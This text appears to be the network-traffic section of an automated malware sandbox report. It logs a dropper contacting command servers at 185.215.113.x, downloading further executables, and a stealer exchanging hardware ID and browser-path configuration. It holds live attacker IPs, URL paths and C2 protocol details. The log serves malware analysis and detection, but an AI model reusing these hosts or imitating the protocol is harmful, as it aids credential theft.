Nov 22, 2024 04:12:09.651624918 CET	1236	IN	Data Raw: 02 45 51 75 4b 43 b6 71 08 8a a6 17 46 e2 a7 d9 fc 06 c5 1b 8e 0e 8a ea 54 b7 19 b7 66 d7 6b 10 a2 0a b5 17 0e 9d 7e c7 0a 03 ed 79 1a 70 1d 43 b1 2d 9f a9 26 16 18 56 05 03 36 33 b2 3c 8b d9 b3 05 5c 16 8c a7 d8 49 ae ee d7 89 80 41 25 e6 7a eb Data Ascii: EQuKCqFTfk~ypC-&V63<\IA%zKPl}]8YK\a0Q@) JLM"Blu3ZB\xs"8)S3`s>#5k!<b0)fq_(~.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	31.41.244.11	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:18.179791927 CET	138	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Fri, 22 Nov 2024 01:05:29 GMT If-None-Match: "673fd8d9-42b200"
Nov 22, 2024 04:12:19.564155102 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:19 GMT Last-Modified: Fri, 22 Nov 2024 01:05:29 GMT Connection: keep-alive ETag: "673fd8d9-42b200"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49794	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:23.226396084 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 38 30 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1008090001&unit=246122658369
Nov 22, 2024 04:12:24.618561029 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49798	185.215.113.16	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:24.743406057 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 22, 2024 04:12:26.138142109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:25 GMT Content-Type: application/octet-stream Content-Length: 1826816 Last-Modified: Fri, 22 Nov 2024 03:08:12 GMT Connection: keep-alive ETag: "673ff59c-1be000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 61 a8 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gH@Ha@\pp `b@.rsrcpr@.idata t@ )v@hyifqwux@0/@x@kzjybfumpH@.taggant0H"@
Nov 22, 2024 04:12:26.138283968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:26.138302088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:26.138330936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:26.138349056 CET	1236	IN	Data Raw: df 7f 82 cc fe 65 7a 4c 37 4d 75 25 a3 66 bd 95 9e f7 51 a3 61 14 2c 16 f7 8a ab 88 5e cc 0d 16 2e a5 85 95 06 07 5b 88 37 8f d9 09 e3 7e 29 cf d8 ef 78 cd 18 4f 15 82 ba e2 c0 4a 45 28 6e 12 38 a2 fe a9 5e df 75 a8 65 da 8f 67 71 08 00 87 2e 16 Data Ascii: ezL7Mu%fQa,^.[7~)xOJE(n8^uegq.{)Q<vc0tRrv7"m,(o^Z?fR&Xu_,1mu )JrpsOp\bh#mV12Ve]pqPBuyK+SVY
Nov 22, 2024 04:12:26.138380051 CET	1236	IN	Data Raw: b2 e8 9b 9d f6 32 98 b1 9e dc 7e 89 f3 c2 cf 3c 23 2b 98 bf 68 24 6a 3d 76 49 a7 8d e0 c7 4c c0 07 46 3c 5f 37 3f 61 97 d0 ce 34 3e d8 0b 67 09 04 07 2c c8 9c 2e 18 43 94 a6 30 9e 50 ec 85 b3 87 3d c9 aa ba 82 2a bb a7 1e 4e e1 3d 7b 73 e3 66 ee Data Ascii: 2~<#+h$j=vILF<_7?a4>g,.C0P=*N={sf`wN/+}-BOst7q1ahh+gjwci]d^rB(2Fmk];.z{GEmurn'u]af'+C#r
Nov 22, 2024 04:12:26.138396978 CET	776	IN	Data Raw: 41 e8 e8 15 c5 3f 4c 92 9c e8 71 8e ef 89 4f 8a c0 cc 23 5c 92 b6 ed b5 46 05 0a 7b da fb 8b c6 e9 46 ff 51 03 d8 e5 f9 4e 8f 40 8a e0 93 6d 1a cf b3 59 fa 51 8f 7b 4a a1 49 6e ff 0b bf 82 9f 36 22 61 d1 1d bc b9 98 28 06 9f 87 66 56 be 6d 3a fe Data Ascii: A?LqO#\F{FQN@mYQ{JIn6"a(fVm:?Qm*wuNWnF\| v_\|O#5tKG-RLZ1T#Npa'<GH"ZSKs"c7;vfa3)FF+
Nov 22, 2024 04:12:26.138418913 CET	1236	IN	Data Raw: 7e 3d ed e1 66 91 38 23 85 49 47 bf 7e aa 0f 03 49 28 c1 6e 6c 62 65 5d 88 be 8c 6d 19 2c af f9 95 15 ea 46 85 98 a5 9c 6c 08 aa 6d ce 5e 4f c6 51 07 e7 b6 3e 9e 6c 43 58 36 f2 27 1c 91 af c6 29 3e bb df 20 68 b3 92 7d ee 45 71 75 e3 7f 99 70 f0 Data Ascii: ~=f8#IG~I(nlbe]m,Flm^OQ>lCX6')> h}Equps'$SRG()W3a\|^n.](&&Pri('<RUl.Yd1>kcH#$&@TxD:&?Y\|&l7VVi5
Nov 22, 2024 04:12:26.138447046 CET	1236	IN	Data Raw: 63 2e de da 20 88 c5 cb fa e2 a2 c4 ab 4b b5 92 46 8f 91 54 be 86 2b 83 31 8e 7a cd 5a b7 aa 86 0e c7 2e 6f ae d8 be 9b 5f 08 a4 08 5b 3a 6c 99 c1 aa 6c 9f e5 f1 e9 50 a9 8e 22 85 63 47 4a 0a f0 58 14 c3 9f 46 e6 45 99 e7 e8 12 21 87 d3 b0 59 0d Data Ascii: c. KFT+1zZ.o_[:llP"cGJXFE!Y)pxH\glEY/8/"01ef[$l[PQ. t_:5F7Gw&{{)Y\Kpya0Zri[yG]:J!g
Nov 22, 2024 04:12:26.138470888 CET	1236	IN	Data Raw: 28 0d 85 5c ae 2e 01 28 3a 0f 79 08 2e a9 f2 12 9c bf 2f c1 3a c4 d4 d1 f6 a4 dc 0f 23 6e e9 1e bb 6e 93 a1 5e 8c f9 29 89 2e 91 03 42 02 ad bd 92 53 99 a3 43 07 f6 bc 35 74 7a c3 14 b3 cd ed cd 2f 34 16 38 4b b8 e9 b2 7a a9 bc 8d 9d 85 c3 aa aa Data Ascii: (\.(:y./:#nn^).BSC5tz/48KzMeZoxQr1,)yN-\'Ho)C-n'H\|~C~SrV:&O%zg;yeW`9f0tXEw.-DA*?il_D^W5?9:uG\n
Nov 22, 2024 04:12:26.258289099 CET	1236	IN	Data Raw: 66 93 8b b1 65 be b7 25 fb d9 b4 7d 52 1d 25 aa 46 76 dd 2e 06 f6 54 d1 ba ad 2a 9a 7f 0a 98 b7 66 0c c0 e5 23 ee 25 2a 42 bb 0c 91 9a e1 b8 c0 05 69 f6 af 72 dd 04 87 8d 8f 81 ef 3e 6e e6 a7 fe 2e 60 44 3b 7b a8 f8 52 8d d5 0d 7a 4d a3 d1 25 41 Data Ascii: fe%}R%Fv.Tf#%Bir>n.`D;{RzM%AEU6;~B4G+\|JyH)}>Eu[)Zmd9(JI5]v6EmDC}UZT)Wn.t qn+)$pK2m\|KNd_H/zJFlXJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49813	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:31.944607019 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 30 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008091001&unit=246122658369
Nov 22, 2024 04:12:33.334187031 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49819	185.215.113.16	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:33.458311081 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 22, 2024 04:12:34.852058887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:34 GMT Content-Type: application/octet-stream Content-Length: 1731584 Last-Modified: Fri, 22 Nov 2024 03:08:19 GMT Connection: keep-alive ETag: "673ff5a3-1a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 66 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 66 00 00 04 00 00 98 62 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"@f@pfb@M$a$$ $b@.rsrc$r@.idata $t@ ($v@yqttidiy`Mx@gxgxfcij0fD@.taggant0@f"J@
Nov 22, 2024 04:12:34.852119923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:34.852140903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:34.852169991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:34.852199078 CET	1236	IN	Data Raw: 86 5f d9 15 d8 74 75 94 9e d0 c1 9a ab f7 6b 9e 85 ee c2 72 58 99 2e 34 78 f8 0f 72 34 5f 7d 0a e7 7f af 91 10 94 91 74 d1 de 90 45 81 eb b5 29 c0 45 cd a1 76 ec 29 ec 71 ff c3 6d a1 ef b9 e4 fe a2 22 d1 06 86 06 6f 6e 5c b8 72 0a c5 5e 87 80 07 Data Ascii: _tukrX.4xr4_}tE)Ev)qm"on\r^~>B= bN`WE(NGs>],rMq+sSJ\|E8*"HjeOSQ~)G4GR(w5'&JD@:&H_}
Nov 22, 2024 04:12:34.852216959 CET	1236	IN	Data Raw: 80 60 b6 34 d7 f7 63 e9 e8 7c 39 17 45 14 91 7c 85 09 02 a5 29 97 0d b6 56 aa 3e 7c b2 08 86 87 7a fa 1b 96 d0 9b b3 eb 45 59 c3 6d 3f e9 d8 8c 35 d4 85 97 a9 19 86 4f 13 5c 74 f9 f0 41 bf 64 48 66 03 e8 8a 60 a7 49 3f 7b 45 ce 89 5b 3d 41 37 32 Data Ascii: `4c\|9E\|)V>\|zEYm?5O\tAdHf`I?{E[=A72J^2cC?$uo2sV~@l}z/IKkq]\Bg@M-nI!hu2w=d{E+Hf^tJwK@cjK05Fq
Nov 22, 2024 04:12:34.852240086 CET	1236	IN	Data Raw: 78 2f 63 4d af 1f 26 45 32 0f 1c 87 58 1f 90 0f 24 bb 12 09 37 29 55 89 58 07 1e 4b f4 f7 dd 45 8c b2 75 06 47 02 54 12 34 b5 85 75 9d 3f 1b e7 e6 fb 91 24 54 38 36 42 86 3c be 92 f2 09 0e 22 50 38 dc 44 f5 3f 82 e7 1e fb ed 24 68 bb 8d b2 35 e1 Data Ascii: x/cM&E2X$7)UXKEuGT4u?$T86B<"P8D?$h5h-ucwkz1;!<r440v@.?v@uN7XX0,v-ErA7R}-[:$TAp(Q/$~7x$eOTu7
Nov 22, 2024 04:12:34.852258921 CET	1236	IN	Data Raw: 76 e2 35 15 0b d6 dd 26 82 0b 94 18 74 b5 72 cc 92 89 df d2 0c 2d 46 06 ff b2 5e b6 32 22 92 e8 76 2d 0a 46 e4 3f ce 9f 49 3c b8 ba 76 2d de 46 c4 29 9d 2a f5 fb 86 03 44 3f 8d 67 31 a3 9d 26 f0 ed 5b 37 68 2d 1e 0f 93 bf 6a 0b 0f f1 01 5d 82 1f Data Ascii: v5&tr-F^2"v-F?I<v-F)*D?g1&[7h-j]q'<-t+RK@2Ch&wq+00")^)OT)=O$TT?C#;-<?K2&)-R-$`N0T[+&DttZ&(!8Y2~
Nov 22, 2024 04:12:34.852279902 CET	1236	IN	Data Raw: 5f 9a 90 b3 90 73 85 91 82 29 9f 4d f8 64 8c 0f c0 bb fe 0d 37 d0 9a ec 2a 93 62 0a 3f 9b 1b 85 a0 d8 3f 11 ea 1c f6 da 84 fa 0d 25 f8 09 59 33 8e d1 1e 15 d0 f6 bd 0c 0f 0e 10 8d c3 67 8f 0f 64 c1 7e f2 85 28 dd 06 77 0c c8 1a af 1f fe 44 2c 32 Data Ascii: _s)Md7b??%Y3gd~(wD,2)G`2qs"Dt1c$A>}UJqSkrWS!ht52us&+Rv-^Ar@AO7\|(N*BT 7D0[;cB~
Nov 22, 2024 04:12:34.852299929 CET	1236	IN	Data Raw: 83 89 71 81 86 2b 51 23 a8 29 56 11 60 a2 7a 46 f7 0b 54 15 ec 38 7c 13 f6 f9 80 91 76 f7 69 1c 38 bf 3e 16 4a 3a a4 48 44 bb 82 e3 35 9a 66 86 2d 42 13 0b 83 cb f5 18 00 3f 9e 46 0a 5c 91 12 75 df 9a 0a 03 09 4e 0a 93 76 74 13 f8 69 8f 0f a4 bb Data Ascii: q+Q#)V`zFT8\|vi8>J:HD5f-B?F\uNvti7ZWZ+>6F-~S18*;`uE/H)rAG5F{]2#]=Tk95JGoQwvO"s"\9_FA?3-^5t8rTv*
Nov 22, 2024 04:12:34.971991062 CET	1236	IN	Data Raw: cc c8 0f b7 08 37 c1 02 68 30 4e 1b c0 f7 70 be 28 d7 a6 85 98 48 56 68 4d a8 c6 78 3b 78 03 36 a0 62 fb 28 60 cd 52 25 bd b0 94 87 0b cc 4e 34 5b 4b 55 6f 92 49 e5 a1 9c 4a c8 5e 9f 2a 62 3c e4 a0 9b 0d 35 6f 57 75 8a 93 8a 7e 9b ef 9d bf 0a 9b Data Ascii: 7h0Np(HVhMx;x6b(`R%N4[KUoIJ^b<5oWu~iy<xH)l}>R<$"R H)Du XznG7 `T)3mvE(_OKnyFYxJ'-&$)-+m(FXUrr WO$G#j6k~BlTVs'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49835	185.215.113.206	80	3736	C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:39.836383104 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 04:12:41.938148022 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 04:12:41.943411112 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 37 31 39 30 34 34 30 39 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 2d 2d 0d 0a Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="hwid"CE719044099B3566182515------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="build"mars------EBGCBAFCGDAAKFIDGIEG--
Nov 22, 2024 04:12:42.409734964 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 32 4d 7a 5a 44 51 33 59 6a 51 33 59 32 46 6b 4e 44 68 6c 5a 54 51 33 4e 54 4d 7a 4e 54 55 78 4e 6d 46 6b 4d 57 51 34 5a 47 56 68 59 6a 45 78 4e 47 4d 31 59 6d 4d 32 59 7a 63 35 4d 44 42 69 4f 44 51 30 4e 57 55 77 4f 47 51 31 5a 6a 6c 6d 4e 7a 46 68 59 7a 49 35 4e 54 52 68 59 6d 4e 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Y2MzZDQ3YjQ3Y2FkNDhlZTQ3NTMzNTUxNmFkMWQ4ZGVhYjExNGM1YmM2Yzc5MDBiODQ0NWUwOGQ1ZjlmNzFhYzI5NTRhYmNhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 22, 2024 04:12:42.410909891 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 62 34 37 63 61 64 34 38 65 65 34 37 35 33 33 35 35 31 36 61 64 31 64 38 64 65 61 62 31 31 34 63 35 62 63 36 63 37 39 30 30 62 38 34 34 35 65 30 38 64 35 66 39 66 37 31 61 63 32 39 35 34 61 62 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 2d 2d 0d 0a Data Ascii: ------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="message"browsers------KKFCAAKFBAEHJJJJDHIE--
Nov 22, 2024 04:12:42.858656883 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
